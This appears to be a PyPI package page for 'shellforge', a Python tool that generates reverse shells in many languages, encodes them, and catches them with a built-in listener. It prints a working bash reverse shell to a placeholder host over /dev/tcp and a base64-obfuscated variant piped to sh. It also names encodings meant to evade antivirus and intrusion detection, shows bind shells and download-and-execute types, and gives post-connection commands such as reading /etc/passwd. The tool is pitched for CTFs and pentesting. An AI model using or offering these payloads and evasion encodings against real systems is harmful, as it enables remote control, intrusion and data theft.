Skip to main content

shellforge

Reverse shell generator, payload encoder, and listener for CTF competitions and penetration testing. Generate reverse shells in 16+ languages, encode/obfuscate payloads, and catch shells with the built-in listener.

Install

pip install shellforge

Quick Start

from shellforge import ShellGenerator, ShellType

# Generate a bash reverse shell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)
print(gen.generate())
# bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Generate all languages at once
all_shells = gen.generate_all()
for lang, shell in all_shells.items():
    print(f"{lang}: {shell}")

All Shell Types

from shellforge import ShellGenerator, ShellType

gen = ShellGenerator("10.0.0.1", 4444)

# Pick your poison
print(gen.generate())  # default: bash

# Python 3
gen = ShellGenerator("10.0.0.1", 4444, ShellType.PYTHON3)
print(gen.generate())

# PowerShell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.POWERSHELL)
print(gen.generate())

# Netcat (mkfifo)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NC_MKFIFO)
print(gen.generate())

# Socat (full TTY)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.SOCAT)
print(gen.generate())

# Node.js
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NODEJS)
print(gen.generate())

Encoding & Obfuscation

gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)

# Base64 encoded
print(gen.generate_encoded("base64"))
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | sh

# Hex encoded
print(gen.generate_encoded("hex"))

# URL encoded
print(gen.generate_encoded("url"))

# XOR encrypted
print(gen.generate_encoded("xor"))

# Double base64
from shellforge.encode import Encoder
enc = Encoder(gen.generate())
print(enc.double_base64())

# Wildcard evasion
print(enc.wildcard_evasion())

Built-in Listener

from shellforge import ShellListener

# Start listener
listener = ShellListener("0.0.0.0", 4444)
listener.start()

# Commands once connected:
# shell> whoami
# shell> id
# shell> cat /etc/passwd
# shell> exit

Bind Shell

from shellforge.shells import bind_shell, ShellType

# Generate bind shell payloads
print(bind_shell(4444))
print(bind_shell(4444, ShellType.PYTHON3))

CLI Usage

# Generate all shells for an IP
shellforge --lhost 10.0.0.1 --lport 4444 --all

# Generate specific shell
shellforge --lhost 10.0.0.1 --lport 4444 --type python3

# Generate encoded
shellforge --lhost 10.0.0.1 --lport 4444 --encode base64

# Start listener
shellforge --listen --lport 4444

Languages Supported

Language Type
Bash /bin/sh reverse shell
Python Python 2 reverse shell
Python 3 Python 3 reverse shell
Perl Perl reverse shell
Ruby Ruby reverse shell
PHP PHP reverse shell
Netcat nc -e
Netcat (fifo) Named pipe technique
PowerShell Windows PS reverse shell
CSH C shell
ZSH Z shell
Java Java Runtime exec
Node.js Node.js net socket
Socat Full TTY shell
Wget/Curl Download and execute

Requirements

  • Python >= 3.10
  • No external dependencies

Use Cases

  • CTF competitions: Quickly generate shells for any language
  • Penetration testing: Encode payloads to evade AV/IDS
  • Bug bounties: One-liner shells for limited input vectors
  • Security training: Learn reverse shell techniques across languages

Donate

If this won you a CTF or saved a pentest:

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

shellforge-0.1.0.tar.gz (9.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

shellforge-0.1.0-py3-none-any.whl (9.0 kB view details)

Uploaded Python 3

File details

Details for the file shellforge-0.1.0.tar.gz.

File metadata

  • Download URL: shellforge-0.1.0.tar.gz
  • Upload date:
  • Size: 9.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.5

File hashes

Hashes for shellforge-0.1.0.tar.gz
Algorithm Hash digest
SHA256 cc023cfb5ddc656182ac88d1e0a8a5cf87c70458307396d7a931148b03fa937c
MD5 c6cc8b772c8fcee1d0e029880ad28de1
BLAKE2b-256 664fb79215f226afe22f84edb2ca34e0efa8fcbe09ed193140f4070c186286ae

See more details on using hashes here.

File details

Details for the file shellforge-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: shellforge-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 9.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.5

File hashes

Hashes for shellforge-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 f8f5fb3fbfecf311df3bcaba70589d7a3fe7c615fe640fcb3e43045e72f37a73
MD5 657c39f2fd2ae44142dcb7e447c3cb0c
BLAKE2b-256 508394482d3c5488fd01d0012b61452ac2c149cdf4a8a5f17845baf43629ac84

See more details on using hashes here.

Release history Release notifications | RSS feed

This release

0.1.0 This release

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page